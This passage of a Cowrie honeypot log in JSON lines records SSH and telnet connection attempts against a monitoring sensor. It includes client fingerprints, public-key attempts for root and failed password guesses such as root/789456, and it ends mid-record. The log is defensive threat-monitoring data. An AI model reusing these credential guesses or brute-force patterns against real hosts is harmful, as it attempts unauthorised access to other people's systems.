{"eventid":"cowrie.session.closed","duration":47.028223514556885,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:33.591583Z","src_ip":"194.180.12.23","session":"beaa152383c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":58310,"dst_ip":"159.203.135.109","dst_port":22,"session":"f432c78b75dd","protocol":"ssh","message":"New connection: 46.165.56.242:58310 (159.203.135.109:22) [session: f432c78b75dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:01.723329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:01.734049Z","src_ip":"46.165.56.242","session":"f432c78b75dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:01.903727Z","src_ip":"46.165.56.242","session":"f432c78b75dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:02.847891Z","src_ip":"46.165.56.242","session":"f432c78b75dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:04.004383Z","src_ip":"46.165.56.242","session":"f432c78b75dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":56342,"dst_ip":"159.203.135.109","dst_port":22,"session":"3acf88f68cd5","protocol":"ssh","message":"New connection: 36.95.194.51:56342 (159.203.135.109:22) [session: 3acf88f68cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:06.487927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:06.493345Z","src_ip":"36.95.194.51","session":"3acf88f68cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:06.780545Z","src_ip":"36.95.194.51","session":"3acf88f68cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456","message":"login attempt [root/789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:07.944634Z","src_ip":"36.95.194.51","session":"3acf88f68cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:09.236270Z","src_ip":"36.95.194.51","session":"3acf88f68cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.22.199","src_port":47270,"dst_ip":"10.17.0.5","dst_port":22,"session":"758ddefa6abf","protocol":"ssh","message":"New connection: 108.181.22.199:47270 (10.17.0.5:22) [session: 758ddefa6abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:32.626858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:32.631684Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:32.701183Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:a2:d7:72:a3:d1:45:ae:47:48:98:07:2f:84:cf:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAWqAfV2cZvXYRz8wWJDZ8neMOTNeOPTdzA9NvOEAAtr73WtI4nkZqPlA3vY7SEJFzVxQKPiOX3xuZh3YHADTM5ppKZY/waoRm1OTkzn5cATDDfdUqbbTOoPUTcaX7dhCjmSnLTsGm5Q0JKF12gglHHMMQ4OAZOxJzRmFubKJ/pSxzb7YKhydR6/IhxkL7N+hz9aeiC301Lgi7+wUjMILBhoU3CBRq3FqbOhdEzId9YtBIcCfp60jnQnDWx58yud+A5r79EQtTX3Uplm55Yr0R4gkZROS6OHrTt2L9M3cWH3xtInRPPRyjVhsigbx8Y+uiRl/3rUWKpNviPewiyn+P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:a2:d7:72:a3:d1:45:ae:47:48:98:07:2f:84:cf:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.022784Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:a2:d7:72:a3:d1:45:ae:47:48:98:07:2f:84:cf:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAWqAfV2cZvXYRz8wWJDZ8neMOTNeOPTdzA9NvOEAAtr73WtI4nkZqPlA3vY7SEJFzVxQKPiOX3xuZh3YHADTM5ppKZY/waoRm1OTkzn5cATDDfdUqbbTOoPUTcaX7dhCjmSnLTsGm5Q0JKF12gglHHMMQ4OAZOxJzRmFubKJ/pSxzb7YKhydR6/IhxkL7N+hz9aeiC301Lgi7+wUjMILBhoU3CBRq3FqbOhdEzId9YtBIcCfp60jnQnDWx58yud+A5r79EQtTX3Uplm55Yr0R4gkZROS6OHrTt2L9M3cWH3xtInRPPRyjVhsigbx8Y+uiRl/3rUWKpNviPewiyn+P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.026583Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:0b:fa:3a:c5:e9:de:a7:d0:b1:c2:0e:c8:cf:e1:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvlRjGSViplzg0olKf+TBZxs3OXTkOC7FfNcDWxYUbst3VpYhIAW93nKJFxG/YQ3opmmM4GQNg7A8/89ds5CHen6dDelHuKiEp+Kr9ymAf+6vXyYMq5S3a7sC2mL05o9MEajL483btpBS37oNJHegt5S42aToYHl4JcE18Os8W/3QRg2fsLEjYXv1emNtta6SaDNl0lGtqxSbuULIiCR8DL5phbaZqO807cmxcuJDql54ClnqhmNSOz/mN2cymH1Ruh51s/MJsiroVe84q6GYZp7q6fi0zgtPtKTosK9R7XLp7Wk5iuiTvy7tNGs/FKTrZF1gVsbC/LZAfAnbAeKDftAn7xnwgawfAnUYG3fXdhSqCqBkSNeVXn4IzQ6yQMKgh4X5x64eaQwEeveEfopivKlsEZ0cR6zcvy76yuXU0WHPkzLhlNHvUwG7X/39aUDcmCMkQYtCbmFZLNDTibaoWxr2M8VTLsztVrGrwi5bMXT5Bp58aW034Fej5PxGRilnWIYZsnpJlyclCziQw1HEnlVn88i1Dns8Zi8QW3WIAeRIMAZ1We92xAeoJsMx7xrcUf0HarHy1aabl9/E9BBi8udOrUYx/FsdEVz1wyygxr35n0NxM/kxJ0BrMYdOaVKvfJm0Fn9iC+95+6hDC5mbuhH0rAYv/qvA5cRkZKjm1Cw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:0b:fa:3a:c5:e9:de:a7:d0:b1:c2:0e:c8:cf:e1:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.096535Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:0b:fa:3a:c5:e9:de:a7:d0:b1:c2:0e:c8:cf:e1:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvlRjGSViplzg0olKf+TBZxs3OXTkOC7FfNcDWxYUbst3VpYhIAW93nKJFxG/YQ3opmmM4GQNg7A8/89ds5CHen6dDelHuKiEp+Kr9ymAf+6vXyYMq5S3a7sC2mL05o9MEajL483btpBS37oNJHegt5S42aToYHl4JcE18Os8W/3QRg2fsLEjYXv1emNtta6SaDNl0lGtqxSbuULIiCR8DL5phbaZqO807cmxcuJDql54ClnqhmNSOz/mN2cymH1Ruh51s/MJsiroVe84q6GYZp7q6fi0zgtPtKTosK9R7XLp7Wk5iuiTvy7tNGs/FKTrZF1gVsbC/LZAfAnbAeKDftAn7xnwgawfAnUYG3fXdhSqCqBkSNeVXn4IzQ6yQMKgh4X5x64eaQwEeveEfopivKlsEZ0cR6zcvy76yuXU0WHPkzLhlNHvUwG7X/39aUDcmCMkQYtCbmFZLNDTibaoWxr2M8VTLsztVrGrwi5bMXT5Bp58aW034Fej5PxGRilnWIYZsnpJlyclCziQw1HEnlVn88i1Dns8Zi8QW3WIAeRIMAZ1We92xAeoJsMx7xrcUf0HarHy1aabl9/E9BBi8udOrUYx/FsdEVz1wyygxr35n0NxM/kxJ0BrMYdOaVKvfJm0Fn9iC+95+6hDC5mbuhH0rAYv/qvA5cRkZKjm1Cw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.100659Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:e5:51:8d:80:2a:72:a9:b0:85:f2:f6:d3:ba:43:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfZ9ffOC7xk6JWGpw5rrH/0/KgZbiYaMah9HkfQQzHAEIbR5sc10O1J0spqvWBZisEi5xscz+GItY5ySs4Q4MZPuf9acQ5o09GBqa66Qqmg55w2ZbimmJZ148to+qJVpnLnAE4KEoeOz4T4IKLJsVfv0TKkaHNppJaQ6l9/hwm6rsSHgE4qezcBZ342ICAbqyuFc+Q/fGEaOO/2CXzwZKJ4Qni4+Sp74ZmuTUb3vZDHBlm6LPMqAZrxYYnbgmtbylqinmA3K2NeHs2fLjpBb1aiyZFArQrBg4rAyldgJ33RoOzkJUuJYU16NZOmR/hOQ+fXpgkFth2o8iQGtYxqYrQ96avqRqO0KjR2s847aajGOaBY6wEfhppno4rg1xuu5jSuLhQopw45z3akzROTjCSNTAl4wJqLbwPxGv0OP+TXlzDv7zwph7MjB325MgskuRfJoQOU36nBHeJqxWYnBn7htq7Fm2DbPgQodvappN6jmiCq/S2kc+bXoKbiQ70Ohxlevd95YmesFk900oh7KOyGF7ZbkzOIUiP3Kdykzke3zKLy94MYNUcDSpxTDVLk8AsG4kY1GguVmv9s/gALsY2CUqklO1pEFmvh5KyGKkrPNGbtdp0rywAc52lv/OurYtXDkFQ9ZpjvrF5zNKmpUZV0t+ojU2uYwYdGYzMP5jyLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:e5:51:8d:80:2a:72:a9:b0:85:f2:f6:d3:ba:43:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.179158Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:e5:51:8d:80:2a:72:a9:b0:85:f2:f6:d3:ba:43:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfZ9ffOC7xk6JWGpw5rrH/0/KgZbiYaMah9HkfQQzHAEIbR5sc10O1J0spqvWBZisEi5xscz+GItY5ySs4Q4MZPuf9acQ5o09GBqa66Qqmg55w2ZbimmJZ148to+qJVpnLnAE4KEoeOz4T4IKLJsVfv0TKkaHNppJaQ6l9/hwm6rsSHgE4qezcBZ342ICAbqyuFc+Q/fGEaOO/2CXzwZKJ4Qni4+Sp74ZmuTUb3vZDHBlm6LPMqAZrxYYnbgmtbylqinmA3K2NeHs2fLjpBb1aiyZFArQrBg4rAyldgJ33RoOzkJUuJYU16NZOmR/hOQ+fXpgkFth2o8iQGtYxqYrQ96avqRqO0KjR2s847aajGOaBY6wEfhppno4rg1xuu5jSuLhQopw45z3akzROTjCSNTAl4wJqLbwPxGv0OP+TXlzDv7zwph7MjB325MgskuRfJoQOU36nBHeJqxWYnBn7htq7Fm2DbPgQodvappN6jmiCq/S2kc+bXoKbiQ70Ohxlevd95YmesFk900oh7KOyGF7ZbkzOIUiP3Kdykzke3zKLy94MYNUcDSpxTDVLk8AsG4kY1GguVmv9s/gALsY2CUqklO1pEFmvh5KyGKkrPNGbtdp0rywAc52lv/OurYtXDkFQ9ZpjvrF5zNKmpUZV0t+ojU2uYwYdGYzMP5jyLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.182746Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:1f:08:c7:07:5c:b2:9a:e6:c7:17:4b:ea:fe:d4:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9QiARva5KorJi5So5voiYqjWDTD2Rcfjl17GCLrF0UUwagpu4aPp7yMRDk3+WjotlpWYQR5FlS1wZm4kHinPT27AWzpFIMqbXecbMwp4xFhTTlJkC9iUgifMQwqpIgE88xXk4e45uGBTp8ZgEIUQ/Nn1iC6+doTR1wYp8hENpr/Ekrcz/fZuYctCAqlzpKVFmOpc9SNlQbJYU/oyPabBGZtHpSv64FnDCDDuQGeN2I2RBnwpm0qQ+GsxgHNMyUUT9a6kUzhQSC4Eg26I6QforJDtrrC1N6apSt9gA/pdmioeGkbxubPl//fGO3qRqFu7VhE7GGXYJzBd7FUM6k/6SP6StfPJcHbz7YHzYxuF+z0VTu8/j9C5WBScVrI70aqMXzpmr6G0Ab3SyObNrCqxwBJmP1ozNEstgw2fSmJ48BC23+xOe6c/GCu2bDrTw9Sa4CeWRtbP5g5CD9k+cZlyonTuqMaP22WtOeDnUavQ/WIn/YlJFHtFTZOJsBKEbmtOetgIP54nEVER5tjqjxtPWWN5F0iwWAl3Q6PcvgEVfOSwjVElSHlwom4Ow3te98yhS4UEJUiC2Aabi/eGbd9xAmr1ffmlbh/qoMtj5mmdS/YRibORc5TrhnqaTNWpEYmz59KpM0rw7+3i75mrzyHOazZBlQ1loL36xYFa8zH7k8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:1f:08:c7:07:5c:b2:9a:e6:c7:17:4b:ea:fe:d4:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.252600Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:1f:08:c7:07:5c:b2:9a:e6:c7:17:4b:ea:fe:d4:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9QiARva5KorJi5So5voiYqjWDTD2Rcfjl17GCLrF0UUwagpu4aPp7yMRDk3+WjotlpWYQR5FlS1wZm4kHinPT27AWzpFIMqbXecbMwp4xFhTTlJkC9iUgifMQwqpIgE88xXk4e45uGBTp8ZgEIUQ/Nn1iC6+doTR1wYp8hENpr/Ekrcz/fZuYctCAqlzpKVFmOpc9SNlQbJYU/oyPabBGZtHpSv64FnDCDDuQGeN2I2RBnwpm0qQ+GsxgHNMyUUT9a6kUzhQSC4Eg26I6QforJDtrrC1N6apSt9gA/pdmioeGkbxubPl//fGO3qRqFu7VhE7GGXYJzBd7FUM6k/6SP6StfPJcHbz7YHzYxuF+z0VTu8/j9C5WBScVrI70aqMXzpmr6G0Ab3SyObNrCqxwBJmP1ozNEstgw2fSmJ48BC23+xOe6c/GCu2bDrTw9Sa4CeWRtbP5g5CD9k+cZlyonTuqMaP22WtOeDnUavQ/WIn/YlJFHtFTZOJsBKEbmtOetgIP54nEVER5tjqjxtPWWN5F0iwWAl3Q6PcvgEVfOSwjVElSHlwom4Ow3te98yhS4UEJUiC2Aabi/eGbd9xAmr1ffmlbh/qoMtj5mmdS/YRibORc5TrhnqaTNWpEYmz59KpM0rw7+3i75mrzyHOazZBlQ1loL36xYFa8zH7k8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.256238Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:d3:e6:20:43:67:d6:f7:e0:b1:14:33:67:46:6f:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsgB5WTmbwrrw9bPDqoVG2cUfOIVMv5MGJ/q/UHYDQEL8BIo54mNdBmEeXexpWw7RQsplrgwIdj1qYfLRxublb0caIQBCgghVEtcvT75/SC/QLFTkc8XOZXDrYSBv3yPr+gs7/y1jDMscCmbqB/eD7oB2BpB0EH0BvyLmkgFqSX7XEXMBmJMm/BKmgXc/tr+UcorDnqKHx26jqvnIKKQ3a796THGRj5IzjDyeVlVpeiy4YGHRiFSlUzlNRB+reATwDKE65rT3Fa/d4ZmSw+RqaXI2kLLuIi95cIdK4AqQ1WjGyiRxDIqRiEOpVykP/yyk8mGL/v11Q8Q5/TjGnK/8QI/jFUQZo48X88evfxrxthboKc3SujPWz8iOCR7NQujo4/lW1fibNTEr711xXzMJDJQ4ay7TCXIF52UwrD1PObzoKmWxhTB6xBZsuCdQfY7qk9C/h/7MrRlbsW3rAyb4Q+KxH6QtJGw9BTVZGHIGQqW7395i/YFVRwYHZRJAR18mc+3F5d71rpzdaBiCNUWwXCwnxLC2vFBQBbK67WxkoR1MpQ0ngmZKhasyVlSQp9X9xSACHWx934Sfazo+M0ciLa7uKW614uMZtMeRb1ZB9ZQReD/Dwp9QlXs5tEQmaluOwQfjNcxJNgb87FAZEmreG4uyxC2VNf+tD8WDSb09v/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:d3:e6:20:43:67:d6:f7:e0:b1:14:33:67:46:6f:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.327175Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:d3:e6:20:43:67:d6:f7:e0:b1:14:33:67:46:6f:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsgB5WTmbwrrw9bPDqoVG2cUfOIVMv5MGJ/q/UHYDQEL8BIo54mNdBmEeXexpWw7RQsplrgwIdj1qYfLRxublb0caIQBCgghVEtcvT75/SC/QLFTkc8XOZXDrYSBv3yPr+gs7/y1jDMscCmbqB/eD7oB2BpB0EH0BvyLmkgFqSX7XEXMBmJMm/BKmgXc/tr+UcorDnqKHx26jqvnIKKQ3a796THGRj5IzjDyeVlVpeiy4YGHRiFSlUzlNRB+reATwDKE65rT3Fa/d4ZmSw+RqaXI2kLLuIi95cIdK4AqQ1WjGyiRxDIqRiEOpVykP/yyk8mGL/v11Q8Q5/TjGnK/8QI/jFUQZo48X88evfxrxthboKc3SujPWz8iOCR7NQujo4/lW1fibNTEr711xXzMJDJQ4ay7TCXIF52UwrD1PObzoKmWxhTB6xBZsuCdQfY7qk9C/h/7MrRlbsW3rAyb4Q+KxH6QtJGw9BTVZGHIGQqW7395i/YFVRwYHZRJAR18mc+3F5d71rpzdaBiCNUWwXCwnxLC2vFBQBbK67WxkoR1MpQ0ngmZKhasyVlSQp9X9xSACHWx934Sfazo+M0ciLa7uKW614uMZtMeRb1ZB9ZQReD/Dwp9QlXs5tEQmaluOwQfjNcxJNgb87FAZEmreG4uyxC2VNf+tD8WDSb09v/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.331098Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:33.403010Z","src_ip":"108.181.22.199","session":"758ddefa6abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":59284,"dst_ip":"159.203.135.109","dst_port":22,"session":"b41e0a986477","protocol":"ssh","message":"New connection: 200.108.174.4:59284 (159.203.135.109:22) [session: b41e0a986477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:55.106146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:55.111145Z","src_ip":"200.108.174.4","session":"b41e0a986477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hel